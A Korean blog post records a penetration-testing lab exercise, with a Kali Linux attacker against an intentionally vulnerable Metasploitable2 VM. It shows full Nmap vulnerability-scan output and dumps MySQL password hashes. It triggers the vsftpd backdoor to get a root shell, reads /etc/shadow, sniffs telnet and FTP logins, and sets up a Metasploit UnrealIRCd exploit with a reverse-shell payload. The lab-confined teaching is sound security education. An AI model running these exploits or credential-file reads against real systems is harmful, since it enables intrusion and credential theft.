네트워크

[26/01/12] 네트워크 스캔 및 취약점 탐지 실습 #1

kimkim615 2026. 1. 12. 09:58

범례

🔴 ATTACKER    = 공격자 (Kali Linux, 192.168.56.101)        
🔵 VICTIM      = 희생자/타겟 (Metasploitable2, .102)  
→              = 공격 방향                                  
🚨             = 보안 위협/취약점 발견                      
🔍             = 분석/해설                               
⚠️             = 주의사항

 

법적 고지 및 윤리

⚠️ 법적 고지 (Legal Disclaimer)

• 본 실습은 허가된 테스트 환경에서만 수행해야 합니다.
• 실제 시스템 대상 무단 스캔은 불법입니다. (정보통신망법 위반)
• Metasploitable2는 의도적 취약 서버이므로 절대 인터넷에 연결하지 마세요.
• 본 실습에서 습득한 기술을 악의적 목적으로 사용하지 마세요.
• 모든 실습은 교육 목적으로만 활용하세요.

 

환경 설정

역할 정의

┌─────────────────────────────────────────────────────────────┐
│ 🔴 ATTACKER (공격자)        │ 🔵 VICTIM (희생자/타겟)       │
├─────────────────────────────┼───────────────────────────────┤
│ Kali Linux                  │ Metasploitable2               │
│ 192.168.56.101              │ 192.168.56.103                │
│ 역할: 스캐너/침투자         │ 역할: 취약 서버               │
└─────────────────────────────┴───────────────────────────────┘

 

 

실습 환경 구성도

┌─────────────────────────────────────────────────────────────┐
│ Part 4 실습 환경                                            │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│   [Host-Only Network: 192.168.56.0/24]                      │
│                                                              │
│   🔴 ATTACKER                    🔵 VICTIM                  │
│   ┌─────────────────┐         ┌─────────────────┐          │
│   │   Kali Linux    │         │ Metasploitable2 │          │
│   │   (공격자)       │ ──────> │  (희생자/타겟)  │          │
│   │ 192.168.56.101  │  Attack │ 192.168.56.103  │          │
│   │                 │         │                 │          │
│   │ 🔧 공격 도구:   │         │ ⚠️ 취약 서비스: │          │
│   │ • Nmap          │         │ • FTP (21)      │          │
│   │ • Wireshark     │         │ • SSH (22)      │          │
│   │ • tcpdump       │         │ • Telnet (23)   │          │
│   │ • netcat        │         │ • HTTP (80)     │          │
│   │ • Metasploit    │         │ • MySQL (3306)  │          │
│   └─────────────────┘         └─────────────────┘          │
│          │                            │                     │
│          └────────────────────────────┘                     │
│                    공격 방향 →                              │
└─────────────────────────────────────────────────────────────┘

 

 


 

Step 1: 🔴 ATTACKER Kali Linux 설정 

1. 네트워크 도구 설치 확인

 

which nmap wireshark tcpdump netcat

 

 

2. Wireshark 권한 설정

 

sudo dpkg-reconfigure wireshark-common

-> 일반 사용자도 패킷 캡쳐 가능하도록 설정

 

sudo usermod -aG wireshark $USER

groups $USER 로 확인

 

3. IP 설정 확인

 

192.168.56.101

 

 

 


 

Step 2: 🔵 VICTIM Metasploitable2 설정

1. Metasploitable2 다운로드 및 설치

https://sourceforge.net/projects/metasploitable/

 

Metasploitable

Download Metasploitable for free. Metasploitable is an intentionally vulnerable Linux virtual machine. This is Metasploitable2 (Linux) Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, te

sourceforge.net

 

 

 

 

기존 가상 하드 디스크 파일 사용 > Metasploitable.vmdk 파일 선택

 

 

네트워크 > 호스트 전용 어댑터 > Promiscuous Mode: 모두 허용

 

여기서 절대 NAT나 Bridged 모드로 설정하면 안된다.

인터넷에 연결되면 실제 공격 대상이 된다

 

 

2. Metasploitable2 로그인 및 IP 확인

 

기본 계정으로 로그인

username: msfadmin

password: msfadmin

 

ip확인은 ipconfig eth0 로 한다

 

192.168.56.103

 

 

 

+ 윈도우 cmd에서 metasploitable2 ssh 접속하려면

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa msfadmin@192.168.56.103

 

metasploitable2의 ssh 서버가 너무 오래되서 windows 최신 openssh 클라이언트는 보안상 이유로 구식 알고리즘을 기본적으로 거부한다 그래서 상단 명령어를 입력하여 접속해야한다

 

 

3. 취약 서비스 확인

sudo netstat -tulnp

 

 

Step 3: 연결 테스트

🔴 ATTACKER (Kali Linux - 192.168.56.101)

 

ping -c 3 192.168.56.103

 

 


 

실습 및 해킹 결과

실습 1: 네트워크 호스트 발견

🔴 ATTACKER (Kali Linux - 192.168.56.101)

1. Nmap 호스트 스캔

 

sudo nmap -sn 192.168.56.0/24

 

192.168.56.1

- VirtualBox Host (게이트웨이)

- 공격 대상 X

- 이 IP가 보인다는건 Host-Only 네트워크가 정상 동작중임을 의미

 

192.168.56.100

- 다른 VM 또는 미사용 가상 NIC

- VirtualBox 내부에서 생성된 또 다른 가상 장치

- 현재 실습의 대상 X

 

192.168.56.101

- 스캐너 본인 (공격자 Kali Linux)

- 정상적으로 자기 자신도 스캔 결과에 포함됨

- 공격자가 네트워크 상에 정상적으로 연결되어 있음을 확인

 

192.168.56.103

- 취약 서버 Metasploitable2

- 본 실습의 공격 대상

 

 

 

2. ARP 스캔

sudo nmap -PR 192.168.56.0/24

 

 

-PR = ARP Ping Scan

ARP = Address Resolution Protocol 으로 IP주소를 MAC 주소로 변환

 

 


실습 2: 포트 스캔

🔴 ATTACKER (Kali Linux - 192.168.56.101)

 

 

1. TCP SYN 스캔 (스텔스 스캔)

 

sudo nmap -sS 192.168.56.103

 

1000개 포트 중 23개 포트가 열려있음

열려있는 포트= attack surface

 

🚨 🔵 VICTIM 서버에서 23개 포트 오픈 발견!

주요 공격 대상 포트:
• 21 (FTP)    - vsftpd 백도어 확인 필요
• 22 (SSH)    - 브루트포스 시도
• 23 (Telnet) - 평문 인증, 스니핑 가능
• 80 (HTTP)   - 웹 취약점 스캔
• 3306 (MySQL)- 빈 패스워드 확인
• 1524 (ingreslock) - 백도어 포트!

 

 

 

2. UDP 포트 스캔

 

sudo nmap -sU --top-ports 20 192.168.56.103

 

 

🚨 UDP 서비스 발견!

• 53 (DNS)   - DNS 정보 수집 가능
• 69 (TFTP)  - 인증 없는 파일 전송
• 111 (RPC)  - RPC 서비스 열거 가능
• 137 (NetBIOS) - 네트워크 정보 노출
• 161 (SNMP) - 시스템 정보 대량 노출 가능!
• 2049 (NFS) - 파일시스템 마운트 가능

→ UDP 스캔도 반드시 수행해야 함

 

 

3. 서비스 버전 탐지

sudo nmap -sV 192.168.56.103

🚨 🔵 VICTIM에서 알려진 취약 버전 발견!

• vsftpd 2.3.4 → 백도어 취약점 (CVE-2011-2523)
• OpenSSH 4.7p1 → 오래된 버전
• Samba 3.0.20 → 원격 코드 실행 (CVE-2007-2447)
• MySQL 5.0.51a → 빈 패스워드 가능성
• UnrealIRCd → 백도어 취약점 (CVE-2010-2075)
• Apache Tomcat → 기본 계정 (tomcat/tomcat)

 

 

4. OS 탐지 스캔

sudo nmap -O 192.168.56.103

 

🚨 🔵 VICTIM OS 정보 노출!

• 운영체제: Linux
• 커널 버전: 2.6.x (매우 오래된 버전!)
• 커널 2.6은 다수의 로컬 권한 상승 취약점 존재

→ OS 정보로 커널 익스플로잇 선정 가능

 

 

5. 종합 스캔 (Aggressive Scan)

sudo nmap -A -T4 192.168.56.103

 

 

 

[-A 옵션 결과 요약]

OS 탐지 (-O)
서비스/버전 탐지 (-sV)
기본 NSE 스크립트 스캔
Traceroute 실행

[추가 발견 사항]

FTP 익명 로그인 허용

SSH 호스트 키 노출 (구형 알고리즘 사용)

Samba 보안 설정 취약
-message signing 비활성화
-guest 계정 사용 가능

다수 구버전 서비스 노출
- vsftpd 2.3.4
- OpenSSH 4.7p1
- Apache 2.2.8
- Samba 3.0.20
- MySQL 5.0.51a
- UnrealIRCd
- Tomcat 5.5

 

 

 

6. 스캔 결과 저장

경로를 지정하지 않아서 다 현재 작업 디렉터리(/home/kali/)에 파일 생성됨

 

텍스트 형식 저장
sudo nmap -sV -oN scan_result.txt 192.168.56.103

XML 형식 저장 (보고서용)
sudo nmap -sV -oX scan_result.xml 192.168.56.103

모든 형식 저장
sudo nmap -sV -oA scan_result 192.168.56.103

 

scan_result.txt   - 일반 텍스트
scan_result.xml   - XML 형식 (Metasploit 연동 가능)
scan_result.gnmap - Grepable 형식

 

 


 

실습 3: 취약점 스캔

1. Nmap 취약점 스크립트

sudo nmap --script vuln 192.168.56.103

 

-> 오래 걸려서 아래 명령어로 대체

sudo nmap --script vuln -p 21,22,80,139,445,3306,6667 192.168.56.103

21 FTP vsftpd 백도어
22 SSH 구버전 / 암호 취약
80 HTTP 웹 취약점
139 NetBIOS Samba 연계
445 SMB RCE 핵심
3306 MySQL root 무패스 가능
6667 IRC UnrealIRCd 백도어

 

 

PORT     STATE SERVICE
21/tcp   open  ftp
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2011-2523  BID:48539
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     References:
|       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|       https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|_      https://www.securityfocus.com/bid/48539
22/tcp   open  ssh
80/tcp   open  http
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-sql-injection:
|   Possible sqli for queries:
|     http://192.168.56.103:80/dav/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=pen-test-tool-lookup.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/?page=show-log.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=user-info.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=capture-data.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/?page=add-to-your-blog.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?do=toggle-security%27%20OR%20sqlspider&page=home.php
|     http://192.168.56.103:80/mutillidae/index.php?page=set-background-color.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/?page=view-someones-blog.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=change-log.htm%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=login.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=home.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/?page=login.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=browser-info.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?do=toggle-hints%27%20OR%20sqlspider&page=home.php
|     http://192.168.56.103:80/mutillidae/index.php?page=usage-instructions.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=register.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=view-someones-blog.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=show-log.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/?page=source-viewer.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=notes.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=php-errors.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/?page=credits.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=installation.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/?page=user-info.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=user-poll.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=documentation%2Fhow-to-access-Mutillidae-over-Virtual-Box-network.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=source-viewer.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=text-file-viewer.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=arbitrary-file-inclusion.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/?page=text-file-viewer.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=secret-administrative-pages.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=html5-storage.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=documentation%2Fvulnerabilities.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=captured-data.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=add-to-your-blog.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=site-footer-xss-discussion.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=dns-lookup.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=password-generator.php%27%20OR%20sqlspider&username=anonymous
|     http://192.168.56.103:80/mutillidae/index.php?page=framing.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/mutillidae/index.php?page=credits.php%27%20OR%20sqlspider
|     http://192.168.56.103:80/view/TWiki/TWikiHistory?rev=1.7%27%20OR%20sqlspider
|     http://192.168.56.103:80/view/TWiki/TWikiHistory?rev=1.8%27%20OR%20sqlspider
|     http://192.168.56.103:80/view/TWiki/TWikiHistory?rev=1.9%27%20OR%20sqlspider
|     http://192.168.56.103:80/oops/TWiki/TWikiHistory?param1=1.10%27%20OR%20sqlspider&template=oopsrev
|     http://192.168.56.103:80/oops/TWiki/TWikiHistory?param1=1.10&template=oopsrev%27%20OR%20sqlspider
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.10%27%20OR%20sqlspider&rev2=1.9
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.10&rev2=1.9%27%20OR%20sqlspider
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.9%27%20OR%20sqlspider&rev2=1.8
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.9&rev2=1.8%27%20OR%20sqlspider
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.8%27%20OR%20sqlspider&rev2=1.7
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.8&rev2=1.7%27%20OR%20sqlspider
|     http://192.168.56.103:80/view/TWiki/TWikiHistory?rev=1.7%27%20OR%20sqlspider
|     http://192.168.56.103:80/view/TWiki/TWikiHistory?rev=1.8%27%20OR%20sqlspider
|     http://192.168.56.103:80/oops/TWiki/TWikiHistory?param1=1.10%27%20OR%20sqlspider&template=oopsrev
|     http://192.168.56.103:80/oops/TWiki/TWikiHistory?param1=1.10&template=oopsrev%27%20OR%20sqlspider
|     http://192.168.56.103:80/view/TWiki/TWikiHistory?rev=1.9%27%20OR%20sqlspider
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.10%27%20OR%20sqlspider&rev2=1.9
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.10&rev2=1.9%27%20OR%20sqlspider
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.9%27%20OR%20sqlspider&rev2=1.8
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.9&rev2=1.8%27%20OR%20sqlspider
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.8%27%20OR%20sqlspider&rev2=1.7
|     http://192.168.56.103:80/rdiff/TWiki/TWikiHistory?rev1=1.8&rev2=1.7%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=M%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=D%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=S%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.103:80/dav/?C=S%3BO%3DA%27%20OR%20sqlspider
|_    http://192.168.56.103:80/dav/?C=N%3BO%3DA%27%20OR%20sqlspider
| http-fileupload-exploiter:
|
|_    Couldn't find a file-type field.
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.103
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://192.168.56.103:80/dvwa/
|     Form id:
|     Form action: login.php
|
|     Path: http://192.168.56.103:80/twiki/TWikiDocumentation.html
|     Form id:
|     Form action: http://TWiki.org/cgi-bin/passwd/TWiki/WebHome
|
|     Path: http://192.168.56.103:80/twiki/TWikiDocumentation.html
|     Form id:
|     Form action: http://TWiki.org/cgi-bin/passwd/Main/WebHome
|
|     Path: http://192.168.56.103:80/twiki/TWikiDocumentation.html
|     Form id:
|     Form action: http://TWiki.org/cgi-bin/edit/TWiki/
|
|     Path: http://192.168.56.103:80/twiki/TWikiDocumentation.html
|     Form id:
|     Form action: http://TWiki.org/cgi-bin/view/TWiki/TWikiSkins
|
|     Path: http://192.168.56.103:80/twiki/TWikiDocumentation.html
|     Form id:
|_    Form action: http://TWiki.org/cgi-bin/manage/TWiki/ManagingWebs
| http-enum:
|   /tikiwiki/: Tikiwiki
|   /test/: Test page
|   /phpinfo.php: Possible information file
|   /phpMyAdmin/: phpMyAdmin
|   /doc/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) dav/2'
|   /icons/: Potentially interesting folder w/ directory listing
|_  /index/: Potentially interesting folder
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
|_ssl-ccs-injection: No reply from server (TIMEOUT)
6667/tcp open  irc
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
MAC Address: 08:00:27:7C:86:EE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 340.26 seconds

 

(1) critical 취약점

 

  • FTP (21/tcp)
    • vsftpd 2.3.4 백도어 취약점
    • 원격 root 권한 획득 가능 (CVE-2011-2523)
    • 즉시 시스템 장악 가능
  • IRC (6667/tcp)
    • UnrealIRCd 백도어 버전
    • 원격 명령 실행 가능
    • 인증 없이 공격 가능

 

(2) High 취약점

 

  • HTTP (80/tcp)
    • TRACE 메서드 활성화 → XST 공격 가능
    • 다수 URL에서 SQL Injection 가능성 탐지
    • Slowloris DoS 공격 가능 (CVE-2007-6750)
    • CSRF 취약 페이지 다수 발견
    • 웹 기반 공격 경로 다수 존재
  • Samba (139/445/tcp)
    • guest 계정 접근 가능
    • message signing 비활성화
    • 권한 상승 및 원격 공격 가능성

 

 

(3) Medium 취약점

 

  • SSH (22/tcp)
    • 구버전 OpenSSH 사용
    • 레거시 암호 알고리즘 사용
    • 브루트포스 및 보안 설정 취약
  • MySQL (3306/tcp)
    • 구버전 MySQL 서비스 노출
    • 기본/약한 계정 가능성
    • DB 직접 접근 위험

 

 


 

실습 4: 서비스 배너 그래빙

1. Netcat으로 배너 수집

 

FTP 배너

nc 192.168.56.103 21

220 (vsFTPd 2.3.4)

-> 백도어 버전

 

SSH 배너

nc 192.168.56.103 22

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

-> 오래된 버전 

 

# HTTP 배너
echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc 192.168.56.103 80

-> 매우 오래된 버전

 

 

# SMTP 배너
nc 192.168.56.103 25

220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

-> 메일 서버 정보 노출

 

버전 정보로 알려진 취약점 검색 가능

실무에서는 배너 숨기기 설정 권장

 

 


 

실습 5: MySQL 외부 접근 테스트

1. MySQL 접속 시도

 

mysql -h 192.168.56.103 -u root --skip-ssl

Kali의 MySQL 클라이언트는 기본적으로 TLS/SSL을 사용하려 하는데
Metasploitable2의 MySQL은 TLS/SSL을 지원하지 않거나 매우 구식 방식만 지원한다
그래서 강제 비활성화하는 구버전 호환 옵션을 붙인다

 

 

show databases;

 

use mysql;

select user,host,password from user;

 

데이터베이스 관리자(root)가 비밀번호 없이 외부 접속 가능한 치명적인 보안 설정 상태이다

 

 

 

3. 민감 정보 추출

 

🚨 사용자 패스워드 해시 노출!

admin: 5f4dcc3b5aa765d61d8327deb882cf99 = "password"
Gordon: e99a18c428cb38d5f260853678922e03 = "abc123"

→ MD5 해시는 레인보우 테이블로 쉽게 크랙 가능

 

 


 

실습 6: vsFTPd 백도어 공격

1. 백도어 트리거 - 터미널 1

nc 192.168.56.103 21

USER backdoor:) 입력

PASS anything 입력

 

 

2. 백도어 포트 연결 - 터미널 2

nc 192.168.56.103 입력 후

id 입력 

결과가 uid=0(root) gid=0(root)

 

🚨 🔴 ATTACKER가 🔵 VICTIM의 root 권한 획득!

공격 흐름:
┌─────────────┐     FTP(21)      ┌─────────────┐
│ 🔴 ATTACKER │ ───────────────> │ 🔵 VICTIM   │
│   (Kali)    │   USER :)        │  (MS2)      │
│             │                  │             │
│             │   Backdoor(6200) │  백도어     │
│             │ <─────────────── │  트리거됨   │
│             │                  │             │
│  root 쉘   │ ===============> │  root 탈취  │
└─────────────┘                  └─────────────┘

→ 단 몇 초 만에 root 권한 획득
→ 시스템 완전 장악!

 

 

 

3. 백도어 획득 후 정보 수집

(1) 시스템 정보
uname -a



cat /etc/issue


(2) 사용자 정보
cat /etc/passwd


cat /etc/shadow

 


(3) 네트워크 정보
ifconfig


netstat -tulnp


(4) 설치된 서비스
ps aux


(5) 홈 디렉토리 탐색
ls -la /home


ls -la /root


(6) 명령어 이력
cat /root/.bash_history

-> 해도 안 나옴

이유는 .bash_history 가 /dev/null로 심볼릭 링크 되어있는데

/dev/null은 모든 입력을 버리는 장치 파일로, 여기에 쓰이는 데이터는 저장되지 않는다

Metasploitable2는 의도적으로 취약하지만, 흔적은 남기지 않도록 설정된 실습용 서버이다

 

 

 

🚨 root 권한으로 접근 가능한 정보:

• /etc/shadow - 모든 사용자 패스워드 해시
• /root/.bash_history - 관리자 명령어 이력
• /home/* - 모든 사용자 홈 디렉토리
• 설정 파일들 (/etc/*)
• 데이터베이스 파일

→ 전체 시스템 완전 장악 상태

 

 


 

실습 7: tcpdump 패킷 캡쳐

🔴 ATTACKER (Kali Linux - 192.168.56.101)

 

1. 기본 패킷 캡쳐

sudo tcpdump -i eth0 host 192.168.56.102

-> 특정 호스트 트래픽 캡처

다른 터미널에서 curl 확인한 결과

 

 

 

sudo tcpdump -i eth0 port 21

-> 특정 포트 트래픽 캡처

 

다른 터미널에서 ftp 접속해서 확인한 결과

 

 

 

sudo tcpdump -i eth0 host 192.168.56.103 -w capture.pcap

-> 파일로 저장

 

이거 역시 다른 터미널에서 ftp로 트래픽 발생시키고 캡쳐 종료한 결과

 

 

 

 

sudo tcpdump -i eth0 port 23 -A

-> ASCII 출력 -평문 확인

다른 터미널에서 telnet 192.168.56.103 으로 telnet 접속

로그인 msfadmin msfadmin

 

telnet은 로그인 명령 전부 평문으로 telnet 서비스가 암호화되지 않아 패킷 스니핑을 통해 로그인 정보가 노출된다

 

 

 

 

2. Telnet 패스워드 캡쳐

(터미널 1) - tcpdump 실행

sudo tcpdump -i eth0 port 23 -A -s 0

 

(터미널 2) - telnet 접속

telnet 192.168.56.103

msfadmin msfadmin 으로 로그인

 

캡쳐 결과를 보면 사용자 입력이 한 글자씩 패킷으로 캡쳐됨

length 1
... m
length 1
... s
length 1
... f
length 1
... a
length 1
... d
length 1
... m
length 1
... i
length 1
... n

 

이것이 사용자가 입력한 계정/비밀번호가 키 입력 단위로 전송되는 telnet의 특성이다

 

 

로그인 성공 후 배너와 쉘 프롬프트까지 평문 노출

 

 


 

실습 8: Wireshark 패킷 분석

1. Wireshark 유용한 필터

┌─────────────────────────────────────────────────────────────┐
│ Wireshark 필터 명령어                                       │
├─────────────────────────────────────────────────────────────┤
│ tcp.flags.syn == 1 && tcp.flags.ack == 0  # SYN 스캔 탐지   │
│ tcp.port == 21                             # FTP 트래픽     │
│ tcp.port == 23                             # Telnet 트래픽  │
│ http.request.method == "GET"               # HTTP GET 요청  │
│ http.request.method == "POST"              # HTTP POST 요청 │
│ ip.addr == 192.168.56.102                  # 특정 IP 필터   │
│ telnet                                     # Telnet 전체    │
│ ftp                                        # FTP 전체       │
│ mysql                                      # MySQL 트래픽   │
└─────────────────────────────────────────────────────────────┘

 

 

 

2. TCP 3-Way Handshake 캡처

 

sudo wireshark &

GUI 화면에서

eth0 선택 후 캡처 시작

 

다른 터미널에서 curl http://192.168.56.103/

 

 

 

 

3. Telnet 평문 패스워드 캡처

 

sudo wireshark & 로 실행

 

다른 터미널에서

telnet 192.168.56.103

 

상단 디스플레이 필터 설정에 tcp.port == 23

그리고 TCP 프로토콜이며 Source / Destination이 192.168.56.103 중 하나 인 것

그리고 Length값이 50 이상인 패킷을 선택하고

우클릭 후 Follow>TCP Stream

 

 

 

 

4. FTP 인증 정보 캡처

(kali에서)

ftp 192.168.56.103

msfadmin msfadmin 으로 로그인

 

필터는 ftp.request.command == "USER" || ftp.request.command == "PASS"

 

-> FTP도 평문 인증으로

USER msfadmin 사용자명 노출

PASS msfadmin 패스워드 노출

 

SFTP 또는 FTPS 사용을 권장한다

 

 


 

실습 9: Metasploit Framework 연계 (심화)

1. vsFTPd 백도어 익스플로잇

kali에서

 

msfconsole

set RHOSTS 192.168.56.102

 

show options

 

exploit

 

🚨 Metasploit으로 자동화된 공격 성공!

공격 흐름:
1. 🔴 ATTACKER: Metasploit 익스플로잇 모듈 로드
2. 🔴 ATTACKER: 타겟 IP 설정 (🔵 VICTIM)
3. 🔴 ATTACKER: exploit 실행
4. Metasploit이 자동으로 백도어 트리거
5. 🔴 ATTACKER: root 쉘 획득

→ 수동 공격보다 효율적
→ 실제 모의해킹에서 널리 사용

 

 

 

2. UnrealIRCd 백도어 익스플로잇

 

msfconsole

use exploit/unix/irc/unreal_ircd_3281_backdoor

set RHOSTS 192.168.56.103

set payload cmd/unix/reverse

set LHOST 192.168.56.101

exploit

 

 


트러블슈팅 가이드

 

┌─────────────────────────────────────────────────────────────┐
│ 🛠️ 트러블슈팅 가이드                                        │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│ [문제] 🔵 VICTIM (Metasploitable2) IP 할당 안 됨            │
│ → VirtualBox 네트워크 어댑터 재설정                         │
│ → Host-only Network가 활성화되어 있는지 확인                │
│ → sudo dhclient eth0 실행                                   │
│                                                              │
│ [문제] Nmap 스캔이 너무 느림                                │
│ → -T4 옵션 추가 (속도 향상)                                 │
│ → 포트 범위 제한 (-p 1-1000)                                │
│                                                              │
│ [문제] Wireshark 권한 오류                                  │
│ → sudo wireshark 실행                                       │
│ → 또는 wireshark 그룹 재설정 후 재로그인                    │
│                                                              │
│ [문제] MySQL 접속 거부                                      │
│ → 🔵 VICTIM의 bind-address 설정 확인 (0.0.0.0 필요)         │
│ → 방화벽 확인                                               │
│                                                              │
│ [문제] vsFTPd 백도어가 작동하지 않음                        │
│ → :) 문자가 정확히 입력되었는지 확인                        │
│ → 6200 포트 연결 시도                                       │
│                                                              │
│ [문제] 🔴 ATTACKER에서 🔵 VICTIM으로 ping 안 됨             │
│ → 같은 Host-only 네트워크인지 확인                          │
│ → VirtualBox 네트워크 설정 재확인                           │
│ → 🔵 VICTIM 방화벽 확인 (iptables -L)                       │
│                                                              │
└─────────────────────────────────────────────────────────────┘

 

 


 

실습 후 정리

1. 캡처 파일 정리

(kali에서)

rm -f *.pcap

rm -f capture.*

 

2. MySQL 세션 종료

(kali MySQL 세션에서)

exit

 

3. Metasploit 세션 종료

(kali metasploit 내에서)

sessions -K

exit

 

4. VM 안전 종료

(kali,metasploitable2 둘 다)

sudo shutdown -h now

 

 


실습 체크리스트

[환경 설정]
